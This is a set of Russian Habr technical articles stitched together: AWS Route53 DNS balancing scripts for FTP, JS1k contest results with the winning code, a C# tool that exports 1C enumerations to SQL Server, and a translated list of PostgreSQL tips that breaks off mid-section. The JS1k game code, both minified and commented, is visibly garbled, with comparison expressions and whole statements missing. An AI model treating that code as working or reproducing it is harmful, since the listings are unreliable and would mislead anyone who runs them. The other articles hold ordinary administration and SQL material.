Создаем AMI с нашего сервера (на котором уже настроен FTP и примонтированы разделы). Далее всё как всегда, делаем launch-config с созданной AMI и создаём auto-scaling-group.
При создании auto-scaling-group указываем наш новый Load Balancer и опцию --health-check-type ELB.В такой конфигурации, если наш FTP-сервер «упадёт», то Load Balancer удалит его и «поднимет» новый рабочий сервер.Учитывая, что все данные мы храним на S3, то нам такая процедура не навредит.
**Шаг пятый(опциональный) Всячески приветствуются ваши наработки**: Настройка балансировки нагрузки и автомасштабирования.
Вопрос по балансировке нагрузки на фтп далеко не так просто решается, как, допустим, нагрузка на веб. Я с таким столкнулся впервые и, не найдя, готового бесплатного решения, предложил заказчику балансировать нагрузку с помощью ДНС.
В AWS Route53 есть опция для записей A-типа — weight. Чем выше это значение у записи, тем выше её приоритет в момент ответа клиенту.
То есть, теоретически, мы можем завести 5 записей с одинаковым weight и таким образом равномерно распределять запросы клиентов по 5-ти серверам.Для автоматизации добавления записей в AWS Route53 я сделал два скрипта. Один для добавления записи:**instance\_up.sh**
```
#!/bin/bash
zone_id="Z3KU6XBKO52XV4"
dns_record="example.com."
instance_dns=$(/usr/bin/curl -s http://169.254.169.254/latest/meta-data/public-hostname)
instance_ip=$(/usr/bin/curl -s http://169.254.169.254/latest/meta-data/public-ipv4)
let number_nodes=$(route53 get $zone_id | grep $dns_record | wc -l)+1
weight="50"
id=$(date "+%Y_%m_%d_%H:%M")
route53 get $zone_id | grep $instance_ip > /dev/null
if [ $? -ne 0 ]; then
route53 get $zone_id | grep $dns_record | awk '{print $4" "$3" "$6" "$7}' | sed 's/id=//' | sed 's/\,//' | sed 's/w=//' | sed 's/)//' | while read i; do
route53 del_record $zone_id $dns_record A $i
route53 add_record $zone_id $dns_record A $(echo $i | awk '{print $1" "$2" "$3}') $weight
done
route53 add_record $zone_id $dns_record A $instance_ip 60 $id $weight
fi
```
Другой для удаления:**instance\_down.sh**
```
#!/bin/bash
zone_id="Z3KU6XBKO52XV4"
dns_record="example.com."
instance_dns=$(/usr/bin/curl -s http://169.254.169.254/latest/meta-data/public-hostname)
instance_ip=$(/usr/bin/curl -s http://169.254.169.254/latest/meta-data/public-ipv4)
let number_nodes=$(route53 get $zone_id | grep $dns_record | wc -l)+1
weight="50"
id=$(date "+%Y_%m_%d_%H:%M")
route53 get $zone_id | grep $instance_ip > /dev/null
if [ $? -eq 0 ]; then
route53 del_record $zone_id $(route53 get $zone_id | grep $instance_ip | awk '{print $1" "$2" "$4" "$3" "$6" "$7}' | sed 's/id=//' | sed 's/\,//' | sed 's/w=//' | sed 's/)//')
fi
```
Скрипты использует утилиту *route53*, которая идёт с пакетом python-boto.
Оба скрипта помещаем на сервер, с которого делаем AMI и добавляем их вызов в стартовый скрипт Pure-Ftpd
Теперь при запуске Pure-Ftpd сам добавит в AWS Route53 новую «A» запись со своим IP-адресом, а при выключении удалит её.
Остается только добавить политики для ScaleUP и ScaleDown для нашей auto-scaling-group.
Вот и вся настройка. Такая конфигурация успешно работает на проекте уже полгода.
Если остались вопросы — пишите комментарии, по возможности отвечу. Также буду рад, если кто-то поделится своим опытом в организации подобных систем. | https://habr.com/ru/post/173699/ | null | ru | null |
# Итоги конкурса JS1k
Подведены [итоги](http://js1k.com/home) конкурса скриптов размером 1024 байт или меньше. Ниже список победителей.
1. [Legend Of The Bouncing Beholder](http://js1k.com/demo/635) (автор: [@marijnjh](http://twitter.com/marijnjh))
2. [Миниатюрные шахматы](http://js1k.com/demo/750) ([Oscar Toledo G.](http://nanochess.110mb.com/))
3. [Тетрис со звуком](http://js1k.com/demo/730) ([@sjoerd\_visscher](http://twitter.com/sjoerd_visscher))
4. [WOLF1K и буквы в цветах радуги](http://js1k.com/demo/762) ([@p01](http://twitter.com/p01))
5. [Бинарные часы](http://js1k.com/demo/161) (tweetable) ([@alexeym](http://twitter.com/alexeym))
6. [Mother fucking lasers](http://js1k.com/demo/593) ([@evilhackerdude](http://twitter.com/evilhackerdude))
7. [Схема графического движка](http://js1k.com/demo/618) ([Lars Ronnback](http://twitter.com/anchormodeling))
8. [Многопользовательский настольный теннис](http://js1k.com/demo/41) ([@feiss](http://twitter.com/feiss))
9. [Генератор кода по азбуке Морзе](http://js1k.com/demo/806) ([@chrissmoak](http://twitter.com/chrissmoak))
10. [Пульсирующие 3D-провода](http://js1k.com/demo/171) ([@unconed](http://twitter.com/unconed))
[Сайт с демками](http://js1k.com/demos) пока лежит, но некоторые из них можно найти на сайтах авторов.
Например, вот [первое место](http://marijn.haverbeke.nl/js1k.html).
```
c=document.body.children[0];h=t=150;L=w=c.width=800;u=D=50;H=[];R=Math.random;for($ in C=c.getContext('2d'))C[$[J=X=Y=0]+($[6]||'')]=C[$];setInterval("if(D)for(x=405,i=y=I=0;i<1e4;)L=\H[i++]=i<9|L9?0:X;j=H[o=\x/u|0];Y=y9&S<41;ta(u-S,0);G=cL(0,T=H[i],0,T+9);T%6||(A(2,25,T-7\,5),y^j||B&&(H[i]-=.1,I++));G.P=G.addColorStop;G.P(0,i%7?'#7e3':(i^o||y^T||(y=H[i]+=$/99),\'#c7a'\));G.P(1,'#ca6');i%4&&A(6,t/2%200,9,i%2?27:33);m(-6,h);qt(-6,T,3,T);l(47,T);qt(56,T,56,\h);A(G);i%3?0:T$-9?1:D);ta(S-u,0)}A(6,u,y-9,11);A(5,M=u+X\*.7,Q=y-9+Y/5,8);A(8,M,Q,5);fx(I+'¢',5,15)}D=y>h?1:D",u);onkeydown=onkeyup=function(e){E=e.type[5]?4:0;e=e.keyCode;J=e^38?J:E;X=e^37?e^39?X:E:-E}
```
Ниже он в отформатированном виде с комментариями.
```
canvas=document.body.children[0];
screen_height=time=150;
last_height=screen_width=canvas.width=800;
unit=dead=50;
heights=[];
// The abbreviation loop, initializing the variabled needed by the key-handlers on the side.
for(prop in context=canvas.getContext('2d'))
context[prop[jump=speed_x=speed_y=0]+(prop[6]||'')]=context[prop];
setInterval(function(){
if(dead)
// initialize the player position, score, and heightmap
for(x=405,i=y=score=0;i<1e4;)
// (screen_width is reused as the off-the-screen height of gap blocks)
// a block can be a gap if its index is <9, or if the last block was no gap. after this test,
// a random number is compared to .3 to determine whether an actual gap is generated, or a
// regular random height.
last_height=heights[i++]=
i<9|last_height9?0:speed\_x;
// compute final player height index, and ground level under it
ground=heights[player\_index=x/unit|0];
// adjust y and speed\_y based on whether we are on the ground or not
speed\_y=y9&scroll\_pos<41;
// ta for translate. move to start of block to make other drawing commands shorter
ta(unit-scroll\_pos,0);
// cL for createLinearGradient, for the ground/grass gradient
gradient=cL(0,height=heights[height\_index],0,height+9);
// if height is divisible by 6, there's a coin here. draw it. if the player is standing on the
// ground, in the middle of this unit, pick up the coin
height%6||(A(2,25,height-7,5),y^ground||player\_in\_middle&&(heights[height\_index]-=.1,score++));
// abbreviate, since we need this twice (and use it again to test whether a value passed to A
// is a gradient)
gradient.P=gradient.addColorStop;
// this implements sinky terrain---when the index is divisible by 7, we use a different color,
// and do the sinking if the player is standing here
gradient.P(0,height\_index%7?'#5e1':(height\_index^player\_index||y^height||
(y=heights[height\_index]+=plant\_pos/99),'#a59'));
// brown earth color for the bottom of the gradient
gradient.P(1,'#b93');
// this draws the clouds
height\_index%4&&A(6,time/2%200,9,height\_index%2?27:33);
// draws the terrain block. m is moveTo, qt is quadraticCurveTo, l is lineTo
m(-6,screen\_height);qt(-6,height,3,height);l(47,height);qt(56,height,56,screen\_height);A(gradient);
// draw deco trees or piranha plant (height==screen\_width for gap blocks), check for collision
// with plant
height\_index%3?0:heightplant\_pos-9?1:dead);
// undo block-local translation
ta(scroll\_pos-unit,0)
}
// draws the player, using the speed to adjust the position of the iris
A(6,unit,y-9,11);
A(5,iris\_x=unit+speed\_x\*.7,iris\_y=y-9+speed\_y/5,8);
A(8,iris\_x,iris\_y,5);
// color is already dark from eye pupil, draw score with this color
fx(score+'¢',5,15)
}
// check whether the player has fallen off the screen
dead=y>screen\_height?1:dead
},unit);
onkeydown=onkeyup=function(e){
// if this is a keydown event, new\_val gets the value 4, otherwise 0
new\_val=e.type[5]?4:0;
e=e.keyCode;
// give jump a truthy value if up was pressed, falsy if up was released
jump=e^38?jump:new\_val;
// similar for speed\_x, inverting new\_val if left is pressed
speed\_x=e^37?e^39?speed\_x:new\_val:-new\_val
}
``` | https://habr.com/ru/post/105190/ | null | ru | null |
# Извлечение данных из БД 1С: проблемы с перечислениями
Решил написать статью о том, как вытягивать данные из 1С путем SQL запросов. Все нижесказанное касается 1С версии 8.2, оно также должно работать и в 1С версии 8.1. Особое внимание уделено проблеме с извлечением заголовков перечислений.
Культурный способ
=================
В идеале выборку данных из 1С должен делать 1С-программист. Хорошо, если он создаст обработку, которая выдаст данные в так называемую «буферную базу»: csv файлы, таблицы в SQL – что угодно. Проектировщик ХД и ETL должен брать данные из буфера.
В этом случае все работает предельно хорошо: зоны ответственности разделены, если найдена ошибка в данных отчета – ее вначале ищут в кубе, если в кубе все ОК – ищут в ХД, если в ХД все ОК – ищут в ETL, если в ETL все хорошо – значит пускай 1С-программист сам разбирается где у него ошибка в обработке, заполняющей «буферную БД».
Но не всегда такой способ доступен. Бывает, что 1С-специалиста либо вообще нет, либо слишком занят, либо мощностей железа не хватает, чтобы «выталкивать» данные из 1С с помощью обработки. И остается одно – делать извлечение данных с помощью SQL запросов.
Не очень культурный способ
==========================
Вот это собственно и есть этот способ – «сделать SQL запрос на 1С-базу». Главная задача – корректно написать сами запросы. Я думаю, ни для кого не есть секретом, что в 1С структура данных «хитрая», и что поля и таблицы имеют замысловатые названия. Задача проектировщика ETL – вытянуть данные из этой структуры.
Просмотр метаданных
-------------------
Существуют обработки, дающие возможность просмотреть то, какие поля справочников/документов в каких таблицах/полях базы данных находятся.
[Здесь](http://download.bitimpulse.com/public/helptoolz/1c/obrabot_sql.zip) Вы можете скачать несколько таких обработок (которые мы «отфильтровали» путем перебора десяток подобных, выбрав наилучшие). Они делают почти одно и то же – позволяют посмотреть все поля, понять какое поле на какой справочник ведет, и даже предлагают автоматически построить запрос:
Таким образом, начинаем исследовать нужные нам документы:
Дальше открываем любой из них, и находим то, куда он записывается – в какие регистры:
Ну а дальше найти этот регистр и сгенерировать SQL запрос с помощью показанных выше обработок (как на первом рисунке) не составляет труда.
Мы делаем как правило два уровня SQL запросов: «нижний уровень» — вьюхи для переименования полей, «верхний уровень» – вьюхи, которые берут данные из нижнего уровня, и уже они делают необходимые джойны.
Перечисления
------------
Есть одна большая проблема – это перечисления. Пример:
И теперь если попытаться вытянуть это поле из базы напрямую, то получим вот что:
Да, мы нашли где заголовки перечислений сидят: таблица называется Config, в ней – image поля, в которых сидит зазипованный набор байт, который если раззиповать – получим непонятной структуры набор символов, разделителей и т.д. К сожалению, этот формат данных не документирован.
Поэтому мы нашли другой способ. Мы сделали на C# небольшую программку, которая использует COM-объект 1С-ки для того, чтобы установить с ней соединение, и вытянуть все значения всех перечислений в одну таблицу.
Вы можете скачать ее [отсюда.](http://download.bitimpulse.com/public/helptoolz/1c/1cEnumParser.zip)
Код:
```
using System;
using System.Data;
using System.Data.SqlClient;
namespace _1CEnumParser
{
class Program
{
///
/// Пробегается по всем перечислениям и заполняет таблицу с тремя полями: название перечисления, название значения, порядок
///
private static void DataTableFill(DataTable aTable, dynamic a1CConn)
{
foreach (dynamic catalog in a1CConn.Metadata.Enums)
{
string enumName = catalog.Name;
dynamic query = a1CConn.NewObject("Query");
query.Text = "select * from enum." + enumName;
dynamic items = query.Execute().Unload();
// бежим по строкам
for (int i = 0; i < items.Count(); i++)
{
string enumValue = null;
int enumOrder = -1;
for (int j = 0; j < items.Columns.Count(); j++)
{
string colName = items.Columns.Get(j).Name;
dynamic colValue;
try
{
colValue = a1CConn.String(items.Get(i).Get(j));
}
catch
{
colValue = "-1";
}
switch (colName.ToLower())
{
case "ссылка":
enumValue = colValue.ToString();
break;
case "порядок":
enumOrder = int.Parse(colValue.ToString());
break;
default:
throw new ApplicationException("unknown column name in enum.recordset: " + colName);
}
}
// получили 3 заполненные значения: enumName, enumValue, enumOrder. вставка в таблицу
aTable.Rows.Add(new object[] {enumName, enumValue, enumOrder});
}
}
}
///
/// Устанавливает все соединения, заполняет DataTable с перечислениями, записывает в БД
///
///
///
///
private static void ConnectAndFill(string aConnectionString1C, string aConnectionStringSQL, string aTableName)
{
// входим в SQL базу и удаляем все из таблицы
var connSQL = new SqlConnection(aConnectionStringSQL);
connSQL.Open();
// входим в 1С
var connector1C = new V82.COMConnector();
dynamic conn1C = connector1C.Connect(aConnectionString1C);
// удаляем из таблицы все данные
var command = new SqlCommand("delete from " + aTableName, connSQL);
command.ExecuteNonQuery();
// заполняем таблицу
var da = new SqlDataAdapter("select EnumName, EnumValue, EnumOrder from " + aTableName, connSQL);
var thisBuilder = new SqlCommandBuilder(da);
var ds = new DataSet();
da.Fill(ds);
DataTableFill(ds.Tables[0], conn1C);
da.Update(ds);
// закрываем коннект
connSQL.Close();
}
static void Main()
{
string[] args = Environment.GetCommandLineArgs();
string aConnectionString1C = args[1];
string aConnectionStringSQL = args[2];
string aTableName = args[3];
ConnectAndFill(aConnectionString1C, aConnectionStringSQL, aTableName);
}
}
}
```
Запускается вот так:
```
1cEnumParser.exe "строчка_соединения_1С" " строчка_соединения_SQL" "таблица_в_SQL"
```
Делает следующее: коннектится к 1С с помощью COM, берет оттуда все перечисления, и кладет их в указанную вами таблицу указанной базы, предварительно почистив ее. Таблица должна иметь следующую структуру
```
CREATE TABLE [dbo].[tbl1CEnums](
[EnumName] [nvarchar](1024) NULL,
[EnumValue] [nvarchar](2014) NULL,
[EnumOrder] [int] NULL
) ON [PRIMARY]
```
Дальше понятно, что SSIS-пакет (или другой механизм) может запустить этот код перед тем, как извлекать данные фактов/справочников, и мы получим заполненную таблицу
и дальше вы уже можете строить джойн по полю \_EnumOrder: справочник ссылается на \_Enum таблицу по IDRRef, в ней поле \_EnumOrder которое ссылается на поле EnumOrder вашей таблицы, которую только что вытянул C# код.
Если у Вас будут замечания или дополнительные идеи – все они с радостью принимаются, пишите на ibobak at bitimpulse dot com. | https://habr.com/ru/post/220863/ | null | ru | null |
# Трюки с SQL от DBA. Небанальные советы для разработчиков БД
Когда я начинал свою карьеру разработчика, моей первой работой стала DBA (администратор базы данных, АБД). В те годы, ещё до AWS RDS, Azure, Google Cloud и других облачных сервисов, существовало два типа АБД:
* **АБД инфраструктуры** отвечали за настройку базы данных, конфигурирование хранилища и заботу о резервных копиях и репликации. После настройки БД инфраструктурный администратор время от времени «настраивал экземпляры», например, уточнял размеры кэшей.
* **АБД приложения** получал от АБД инфраструктуры чистую базу и отвечал за её архитектуру: создание таблиц, индексов, ограничений и настройку SQL. АБД приложения также реализовывал ETL-процессы и миграцию данных. Если команды использовали хранимые процедуры, то АБД приложения поддерживал и их.
АБД приложений обычно были частью команд разработки. Они обладали глубокими познаниями по конкретной теме, поэтому обычно работали только над одним-двумя проектами. Инфраструктурные администраторы баз данных обычно входили в ИТ-команду и могли одновременно работать над несколькими проектами.
Я админ базы данных приложения
------------------------------
У меня никогда не было желания возиться с бэкапами или настраивать хранилище (уверен, это увлекательно!). По сей день мне нравится говорить, что я админ БД, который знает, как разрабатывать приложения, а не разработчик, который разбирается в базах данных.
**В этой статье я поделюсь хитростями о разработке баз данных, которые узнал за свою карьеру.**
Содержание:
* [Обновляйте лишь то, что нужно обновить](#1)
* [При больших загрузках отключайте ограничения и индексы](#2)
* [Для промежуточных данных используйте UNLOGGED-таблицы](#3)
* [Реализуйте процессы целиком с помощью WITH и RETURNING](#4)
* [В колонках с низкой избирательностью избегайте индексов](#5)
* [Используйте частичные индексы](#6)
* [Всегда загружайте отсортированные данные](#7)
* [Колонки с высокой корреляцией индексируйте с помощью BRIN](#8)
* [Делайте индексы «невидимыми»](#9)
* [Не планируйте начало длительных процессов на начало любого часа](#10)
* [Заключение](#11)
Обновляйте лишь то, что нужно обновить
--------------------------------------
Операция `UPDATE` потребляет довольно много ресурсов. Для её ускорения лучше всего обновлять только то, что нужно обновить.
Вот пример запроса на нормализацию колонки email:
```
db=# UPDATE users SET email = lower(email);
UPDATE 1010000
Time: 1583.935 ms (00:01.584)
```
Выглядит невинно, да? Запрос обновляет адреса почты для 1 010 000 пользователей. Но нужно ли обновлять все строки?
```
db=# UPDATE users SET email = lower(email)
db-# WHERE email != lower(email);
UPDATE 10000
Time: 299.470 ms
```
Нужно было обновить всего 10 000 строк. Уменьшив количество обрабатываемых данных, мы снизили длительность исполнения с 1,5 секунд до менее чем 300 мс. Это также сэкономит нам в дальнейшем силы на сопровождение базы данных.
*Обновляйте лишь то, что нужно обновить.*
Такой тип больших обновлений очень часто встречается в скриптах миграции данных. Когда в следующий раз будете писать подобный скрипт, убедитесь, что обновляете лишь необходимое.
При больших загрузках отключайте ограничения и индексы
------------------------------------------------------
Ограничения — важная часть реляционных баз данных: они сохраняют консистентность и надёжность данных. Но у всего своя цена, и чаще всего расплачиваться приходится при загрузке или обновлении большого количества строк.
Давайте зададим схему небольшого хранилища:
```
DROP TABLE IF EXISTS product CASCADE;
CREATE TABLE product (
id serial PRIMARY KEY,
name TEXT NOT NULL,
price INT NOT NULL
);
INSERT INTO product (name, price)
SELECT random()::text, (random() * 1000)::int
FROM generate_series(0, 10000);
DROP TABLE IF EXISTS customer CASCADE;
CREATE TABLE customer (
id serial PRIMARY KEY,
name TEXT NOT NULL
);
INSERT INTO customer (name)
SELECT random()::text
FROM generate_series(0, 100000);
DROP TABLE IF EXISTS sale;
CREATE TABLE sale (
id serial PRIMARY KEY,
created timestamptz NOT NULL,
product_id int NOT NULL,
customer_id int NOT NULL
);
```
Здесь определяются разные типы ограничений, таких как «not null», а также уникальные ограничения…
Чтобы задать исходную точку, начнём добавлять в таблицу `sale` внешние ключи
```
db=# ALTER TABLE sale ADD CONSTRAINT sale_product_fk
db-# FOREIGN KEY (product_id) REFERENCES product(id);
ALTER TABLE
Time: 18.413 ms
db=# ALTER TABLE sale ADD CONSTRAINT sale_customer_fk
db-# FOREIGN KEY (customer_id) REFERENCES customer(id);
ALTER TABLE
Time: 5.464 ms
db=# CREATE INDEX sale_created_ix ON sale(created);
CREATE INDEX
Time: 12.605 ms
db=# INSERT INTO SALE (created, product_id, customer_id)
db-# SELECT
db-# now() - interval '1 hour' * random() * 1000,
db-# (random() * 10000)::int + 1,
db-# (random() * 100000)::int + 1
db-# FROM generate_series(1, 1000000);
INSERT 0 1000000
Time: 15410.234 ms (00:15.410)
```
После определения ограничений и индексов загрузка в таблицу миллиона строк заняла около 15,4 с.
Теперь сначала загрузим данные в таблицу, и только потом добавим ограничения и индексы:
```
db=# INSERT INTO SALE (created, product_id, customer_id)
db-# SELECT
db-# now() - interval '1 hour' * random() * 1000,
db-# (random() * 10000)::int + 1,
db-# (random() * 100000)::int + 1
db-# FROM generate_series(1, 1000000);
INSERT 0 1000000
Time: 2277.824 ms (00:02.278)
db=# ALTER TABLE sale ADD CONSTRAINT sale_product_fk
db-# FOREIGN KEY (product_id) REFERENCES product(id);
ALTER TABLE
Time: 169.193 ms
db=# ALTER TABLE sale ADD CONSTRAINT sale_customer_fk
db-# FOREIGN KEY (customer_id) REFERENCES customer(id);
ALTER TABLE
Time: 185.633 ms
db=# CREATE INDEX sale_created_ix ON sale(created);
CREATE INDEX
Time: 484.244 ms
```
Загрузка прошла гораздо быстрее, 2,27 с. вместо 15,4. Индексы и ограничения создавались после загрузки данных заметно дольше, но весь процесс оказался намного быстрее: 3,1 с. вместо 15,4.
К сожалению, в PostgreSQL с индексами так же поступить не получится, можно лишь выбрасывать и пересоздавать их. В других базах, например, Oracle, можно [отключать и включать индексы](https://docs.oracle.com/en/database/oracle/oracle-database/19/sqlrf/ALTER-INDEX.html#GUID-D8F648E7-8C07-4C89-BB71-862512536558) без пересоздания.
Для промежуточных данных используйте UNLOGGED-таблицы
-----------------------------------------------------
Когда вы меняете данные в PostgreSQL, изменения записываются в журнал с упреждающей записью ([write ahead log (WAL)](https://www.postgresql.org/docs/current/wal-intro.html)). Он используется для поддержания целостности, быстрой переиндексации в ходе восстановления и поддержки репликации.
Запись в WAL нужна часто, но есть некоторые обстоятельства, при которых вы можете отказаться от WAL ради ускорения процессов. Например, в случае с промежуточными таблицами.
Промежуточными называют одноразовые таблицы, в которых хранятся временные данные, используемые для реализации каких-то процессов. К примеру, в ETL-процессах очень часто загружают данные из CSV-файлов в промежуточные таблицы, очищают информацию, а затем грузят её в целевую таблицу. В таком сценарии промежуточная таблица — одноразовая и не используется в резервных копиях или репликах.
*UNLOGGED-таблица.*
Промежуточные таблицы, которые не нужно восстанавливать в случае сбоя и которые не нужны в репликах, можно задать как [UNLOGGED](https://www.postgresql.org/docs/current/sql-createtable.html#SQL-CREATETABLE-UNLOGGED):
```
CREATE UNLOGGED TABLE staging_table ( /* table definition */ );
```
**Внимание**: прежде чем использовать `UNLOGGED`, убедитесь, что полностью понимаете все последствия.
Реализуйте процессы целиком с помощью WITH и RETURNING
------------------------------------------------------
Допустим, у вас таблица пользователей, и вы обнаружили, что в ней есть дублирующиеся данные:
```
Table setup
db=# SELECT u.id, u.email, o.id as order_id
FROM orders o JOIN users u ON o.user_id = u.id;
id | email | order_id
----+-------------------+----------
1 | foo@bar.baz | 1
1 | foo@bar.baz | 2
2 | me@hakibenita.com | 3
3 | ME@hakibenita.com | 4
3 | ME@hakibenita.com | 5
```
Пользователь *haki benita* зарегистрирован дважды, с почтой `ME@hakibenita.com` и `me@hakibenita.com`. Поскольку мы не нормализуем адреса почты при внесении в таблицу, теперь придётся разобраться с дублями.
Нам нужно:
1. Определить дубли по адресам, написанным строчными буквами, и связать дублирующихся пользователей друг с другом.
2. Обновить заказы, чтобы они ссылались только на один из дублей.
3. Убрать дубли из таблицы.
Связать дублирующихся пользователей можно с помощью промежуточной таблицы:
```
db=# CREATE UNLOGGED TABLE duplicate_users AS
db-# SELECT
db-# lower(email) AS normalized_email,
db-# min(id) AS convert_to_user,
db-# array_remove(ARRAY_AGG(id), min(id)) as convert_from_users
db-# FROM
db-# users
db-# GROUP BY
db-# normalized_email
db-# HAVING
db-# count(*) > 1;
CREATE TABLE
db=# SELECT * FROM duplicate_users;
normalized_email | convert_to_user | convert_from_users
-------------------+-----------------+--------------------
me@hakibenita.com | 2 | {3}
```
В промежуточной таблице содержатся связи между дублями. Если пользователь с нормализованным адресом почты появляется более одного раза, мы присваиваем ему минимальный ID пользователя, в которого свёрнём все дубли. Остальные пользователи хранятся в array column и все ссылки на них будут обновлены.
С помощью промежуточной таблицы обновим ссылки на дубли в таблице `orders`:
```
db=# UPDATE
db-# orders o
db-# SET
db-# user_id = du.convert_to_user
db-# FROM
db-# duplicate_users du
db-# WHERE
db-# o.user_id = ANY(du.convert_from_users);
UPDATE 2
```
Теперь можно безопасно удалить дубли из `users`:
```
db=# DELETE FROM
db-# users
db-# WHERE
db-# id IN (
db(# SELECT unnest(convert_from_users)
db(# FROM duplicate_users
db(# );
DELETE 1
```
Обратите внимание, что для «преобразования» массива мы использовали функцию [unnest](https://www.postgresql.org/docs/current/functions-array.html#ARRAY-FUNCTIONS-TABLE), которая превращает каждый элемент в строку.
Результат:
```
db=# SELECT u.id, u.email, o.id as order_id
db-# FROM orders o JOIN users u ON o.user_id = u.id;
id | email | order_id
----+-------------------+----------
1 | foo@bar.baz | 1
1 | foo@bar.baz | 2
2 | me@hakibenita.com | 3
2 | me@hakibenita.com | 4
2 | me@hakibenita.com | 5
```
Отлично, все экземпляры пользователя `3` (`ME@hakibenita.com`) преобразованы в пользователя `2` (`me@hakibenita.com`).
Можем также проверить, что дубли удалены из таблицы `users`:
```
db=# SELECT * FROM users;
id | email
----+-------------------
1 | foo@bar.baz
2 | me@hakibenita.com
```
Теперь можно избавиться от промежуточной таблицы:
```
db=# DROP TABLE duplicate_users;
DROP TABLE
```
Всё хорошо, но слишком долго и нужна очистка! Есть ли способ получше?
#### Обобщённые табличные выражения (CTE)
С помощью [обобщённых табличных выражений](https://www.postgresql.org/docs/current/queries-with.html), также известных как выражение `WITH`, мы можем выполнить всю процедуру с помощью единственного SQL-выражения:
```
WITH duplicate_users AS (
SELECT
min(id) AS convert_to_user,
array_remove(ARRAY_AGG(id), min(id)) as convert_from_users
FROM
users
GROUP BY
lower(email)
HAVING
count(*) > 1
),
update_orders_of_duplicate_users AS (
UPDATE
orders o
SET
user_id = du.convert_to_user
FROM
duplicate_users du
WHERE
o.user_id = ANY(du.convert_from_users)
)
DELETE FROM
users
WHERE
id IN (
SELECT
unnest(convert_from_users)
FROM
duplicate_users
);
```
Вместо промежуточной таблицы мы создали обобщённое табличное выражение и многократно его использовали.
#### Возврат результатов из CTE
Одно из преимуществ исполнения DML внутри выражения `WITH` заключается в том, что вы можете вернуть из него данные с помощью ключевого слова [RETURNING](https://www.postgresql.org/docs/current/dml-returning.html). Допустим, нам нужен отчёт о количестве обновлённых и удалённых строк:
```
WITH duplicate_users AS (
SELECT
min(id) AS convert_to_user,
array_remove(ARRAY_AGG(id), min(id)) as convert_from_users
FROM
users
GROUP BY
lower(email)
HAVING
count(*) > 1
),
update_orders_of_duplicate_users AS (
UPDATE
orders o
SET
user_id = du.convert_to_user
FROM
duplicate_users du
WHERE
o.user_id = ANY(du.convert_from_users)
RETURNING o.id
),
delete_duplicate_user AS (
DELETE FROM
users
WHERE
id IN (
SELECT unnest(convert_from_users)
FROM duplicate_users
)
RETURNING id
)
SELECT
(SELECT count(*) FROM update_orders_of_duplicate_users) AS orders_updated,
(SELECT count(*) FROM delete_duplicate_user) AS users_deleted
;
```
Результат:
```
orders_updated | users_deleted
----------------+---------------
2 | 1
```
Привлекательность подхода в том, что весь процесс выполняется одной командой, поэтому нет необходимости управлять транзакциями или беспокоиться об очистке промежуточной таблицы в случае сбоя процесса.
**Внимание**: [Читатель Reddit](https://www.reddit.com/r/programming/comments/hyv0xh/some_sql_tricks_of_an_application_dba/fzhqzw5) указал мне на возможное [непредсказуемое поведение исполнения DML в обобщённых табличных выражениях](https://www.postgresql.org/docs/current/queries-with.html#QUERIES-WITH-MODIFYING):
> Подвыражения в `WITH` исполняются конкурентно друг с другом и с основным запросом. Поэтому при использовании в `WITH` модифицирующих данные выражений фактический порядок обновлений будет непредсказуемым
Это означает, что вы не можете полагаться на порядок исполнения независимых подвыражений. Получается, что если между ними есть зависимость, как в примере выше, вы можете полагаться на исполнение зависимых подвыражение до их использования.
В колонках с низкой избирательностью избегайте индексов
-------------------------------------------------------
Допустим, у вас есть процесс регистрации, при котором пользователь входит по адресу почты. Чтобы активировать аккаунт, нужно верифицировать почту. Таблица может выглядеть так:
```
db=# CREATE TABLE users (
db-# id serial,
db-# username text,
db-# activated boolean
db-#);
CREATE TABLE
```
Большинство ваших пользователей — граждане сознательные, они регистрируются с корректным почтовым адресом и немедленно активируют аккаунт. Давайте заполним таблицу пользовательскими данными, и будем считать, что 90 % пользователей активировано:
```
db=# INSERT INTO users (username, activated)
db-# SELECT
db-# md5(random()::text) AS username,
db-# random() < 0.9 AS activated
db-# FROM
db-# generate_series(1, 1000000);
INSERT 0 1000000
db=# SELECT activated, count(*) FROM users GROUP BY activated;
activated | count
-----------+--------
f | 102567
t | 897433
db=# VACUUM ANALYZE users;
VACUUM
```
Чтобы запросить количество активированных и неактивированных пользователей, можно создать индекс по колонке `activated`:
```
db=# CREATE INDEX users_activated_ix ON users(activated);
CREATE INDEX
```
И если вы запросите количество *неактивированных пользователей*, база воспользуется индексом:
```
db=# EXPLAIN SELECT * FROM users WHERE NOT activated;
QUERY PLAN
--------------------------------------------------------------------------------------
Bitmap Heap Scan on users (cost=1923.32..11282.99 rows=102567 width=38)
Filter: (NOT activated)
-> Bitmap Index Scan on users_activated_ix (cost=0.00..1897.68 rows=102567 width=0)
Index Cond: (activated = false)
```
База решила, что фильтр выдаст 102 567 позиций, примерно 10 % таблицы. Это согласуется с загруженными нами данными, так что таблица хорошо справилась.
Однако если мы запросим количество *активированных пользователей*, то обнаружим, что база решила *не использовать индекс*:
```
db=# EXPLAIN SELECT * FROM users WHERE activated;
QUERY PLAN
---------------------------------------------------------------
Seq Scan on users (cost=0.00..18334.00 rows=897433 width=38)
Filter: activated
```
Многих разработчиков сбивает с толку, когда база данных не использует индекс. Объяснить, почему она так делает, можно следующим образом: **если бы вам нужно было прочитать всю таблицу, вы воспользовались бы индексом**?
Вероятно, нет, зачем это нужно? Чтение с диска — операция дорогая, поэтому вы захотите читать как можно меньше. Например, если таблица размером 10 Мб, а индекс размером 1 Мб, то для считывания всей таблицы придётся считать с диска 10 Мб. А если добавить индекс, то получится 11 Мб. Это расточительно.
Давайте теперь посмотрим на статистику, которую PostgreSQL собрал по нашей таблице:
```
db=# SELECT attname, n_distinct, most_common_vals, most_common_freqs
db-# FROM pg_stats
db-# WHERE tablename = 'users' AND attname='activated';
------------------+------------------------
attname | activated
n_distinct | 2
most_common_vals | {t,f}
most_common_freqs | {0.89743334,0.10256667}
```
Когда PostgreSQL проанализировал таблицу, он выяснил, что в колонке `activated` есть два разных значения. Значение `t` в колонке `most_common_vals` соответствует частоте `0.89743334` в колонке `most_common_freqs`, а значение `f` соответствует частоте `0.10256667`. После анализа таблицы база данных определила, что 89,74 % записей — это активированные пользователи, а остальные 10,26 % — неактивированные.
На основе этой статистики PostgreSQL решил, что лучше сканировать всю таблицу, чем предполагать, что 90 % строк удовлетворят условию. Порог, после которого база может решать, использовать ли ей индекс, зависит от многих факторов, и никакого эмпирического правила тут нет.
*Индекс для колонок с низкой и высокой избирательностью.*
Используйте частичные индексы
-----------------------------
В предыдущей главе мы создали индекс для колонки с булевыми значениями, в которой около 90 % записей были `true` (активированные пользователи).
